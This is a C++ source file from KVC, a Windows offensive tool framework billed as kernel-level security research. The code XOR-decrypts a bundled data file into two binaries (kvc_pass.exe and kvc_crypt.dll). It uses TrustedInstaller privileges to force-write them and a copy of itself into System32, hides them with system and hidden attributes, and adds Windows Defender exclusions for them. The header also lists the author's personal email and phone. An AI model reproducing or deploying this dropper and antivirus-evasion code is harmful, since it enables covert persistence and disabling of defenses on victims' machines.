Files
kvc/kvc/ControllerBinaryManager.cpp
2025-09-25 14:08:31 +02:00

261 lines
10 KiB
C++

/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerBinaryManager.cpp - Fixed compilation issues
#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include "TrustedInstallerIntegrator.h"
#include <filesystem>
namespace fs = std::filesystem;
bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
{
// First attempt: normal write operation
if (Utils::WriteFile(filePath, data)) {
return true;
}
// If normal write fails, check if file exists and handle system files
const DWORD attrs = GetFileAttributesW(filePath.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
INFO(L"Target file exists, attempting privileged overwrite: %s", filePath.c_str());
// Clear restrictive attributes first
if (attrs & (FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)) {
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
}
// Force delete if still locked
if (!DeleteFileW(filePath.c_str())) {
// Use TrustedInstaller for stubborn files - call on instance
std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) {
ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
return false;
}
}
}
// Retry normal write after cleanup
if (Utils::WriteFile(filePath, data)) {
return true;
}
// Final fallback: use TrustedInstaller to write file
const fs::path tempDir = fs::temp_directory_path();
const fs::path tempFile = tempDir / fs::path(filePath).filename();
// Write to temp location first
if (!Utils::WriteFile(tempFile.wstring(), data)) {
ERROR(L"Failed to write to temporary location: %s", tempFile.c_str());
return false;
}
// Copy from temp to target with TrustedInstaller - call on instance
std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\"";
bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd);
// Cleanup temp file
DeleteFileW(tempFile.c_str());
if (!copySuccess) {
ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str());
return false;
}
return true;
}
// Enhanced file writing with TrustedInstaller privileges and proper overwrite handling
bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
const std::vector<BYTE>& kvcCryptData) noexcept
{
INFO(L"Writing extracted components to target locations");
try {
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
ERROR(L"Failed to get System32 directory path");
return false;
}
const fs::path system32Dir = systemDir;
const fs::path kvcPassPath = system32Dir / KVC_PASS_FILE;
const fs::path kvcCryptPath = system32Dir / KVC_CRYPT_FILE;
const fs::path kvcMainPath = system32Dir / L"kvc.exe";
INFO(L"Target paths - kvc_pass.exe: %s", kvcPassPath.c_str());
INFO(L"Target paths - kvc_crypt.dll: %s", kvcCryptPath.c_str());
INFO(L"Target paths - kvc.exe: %s", kvcMainPath.c_str());
// Get current executable path for self-copy
wchar_t currentExePath[MAX_PATH];
if (GetModuleFileNameW(nullptr, currentExePath, MAX_PATH) == 0) {
ERROR(L"Failed to get current executable path");
return false;
}
auto currentExeData = Utils::ReadFile(currentExePath);
if (currentExeData.empty()) {
ERROR(L"Failed to read current executable for self-copy");
return false;
}
// Write all components using enhanced method with privilege escalation
bool allSuccess = true;
// Write kvc_pass.exe
if (!WriteFileWithPrivileges(kvcPassPath.wstring(), kvcPassData)) {
ERROR(L"Failed to write kvc_pass.exe to System32 directory");
allSuccess = false;
} else {
INFO(L"Successfully wrote kvc_pass.exe (%zu bytes)", kvcPassData.size());
}
// Write kvc_crypt.dll
if (!WriteFileWithPrivileges(kvcCryptPath.wstring(), kvcCryptData)) {
ERROR(L"Failed to write kvc_crypt.dll to System32 directory");
allSuccess = false;
// Cleanup on partial failure
DeleteFileW(kvcPassPath.c_str());
} else {
INFO(L"Successfully wrote kvc_crypt.dll (%zu bytes)", kvcCryptData.size());
}
// Write kvc.exe (self-copy)
if (!WriteFileWithPrivileges(kvcMainPath.wstring(), currentExeData)) {
ERROR(L"Failed to write kvc.exe to System32 directory");
allSuccess = false;
// Cleanup on partial failure
DeleteFileW(kvcPassPath.c_str());
DeleteFileW(kvcCryptPath.c_str());
} else {
INFO(L"Successfully wrote kvc.exe (%zu bytes)", currentExeData.size());
}
if (!allSuccess) {
return false;
}
// Set stealth attributes for all files
const DWORD stealthAttribs = FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN;
SetFileAttributesW(kvcPassPath.c_str(), stealthAttribs);
SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
// Add Windows Defender exclusions for deployed components
INFO(L"Adding Windows Defender exclusions for deployed components");
// Add paths (all files)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
// Add processes (executables only)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
INFO(L"Windows Defender exclusions configured successfully");
INFO(L"Binary component extraction and deployment completed successfully");
return true;
} catch (const std::exception& e) {
ERROR(L"Exception during component writing: %S", e.what());
return false;
} catch (...) {
ERROR(L"Unknown exception during component writing");
return false;
}
}
// Main entry point for kvc.dat processing - decrypt and extract components
bool Controller::LoadAndSplitCombinedBinaries() noexcept
{
INFO(L"Starting kvc.dat processing - loading combined encrypted binary");
try {
const fs::path currentDir = fs::current_path();
const fs::path kvcDataPath = currentDir / KVC_DATA_FILE;
if (!fs::exists(kvcDataPath)) {
ERROR(L"kvc.dat file not found in current directory: %s", kvcDataPath.c_str());
return false;
}
auto encryptedData = Utils::ReadFile(kvcDataPath.wstring());
if (encryptedData.empty()) {
ERROR(L"Failed to read kvc.dat file or file is empty");
return false;
}
INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size());
// Decrypt using XOR cipher with predefined key
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
if (decryptedData.empty()) {
ERROR(L"XOR decryption failed - invalid encrypted data");
return false;
}
INFO(L"XOR decryption completed successfully");
// Split combined binary into separate PE components
std::vector<BYTE> kvcPassData, kvcCryptData;
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
ERROR(L"Failed to split combined PE data into components");
return false;
}
if (kvcPassData.empty() || kvcCryptData.empty()) {
ERROR(L"Extracted components are empty - invalid PE structure");
return false;
}
INFO(L"PE splitting successful - kvc_pass.exe: %zu bytes, kvc_crypt.dll: %zu bytes",
kvcPassData.size(), kvcCryptData.size());
// Write extracted components with enhanced error handling
if (!WriteExtractedComponents(kvcPassData, kvcCryptData)) {
ERROR(L"Failed to write extracted binary components to disk");
return false;
}
INFO(L"kvc.dat processing completed successfully");
return true;
} catch (const std::exception& e) {
ERROR(L"Exception during kvc.dat processing: %S", e.what());
return false;
} catch (...) {
ERROR(L"Unknown exception during kvc.dat processing");
return false;
}
}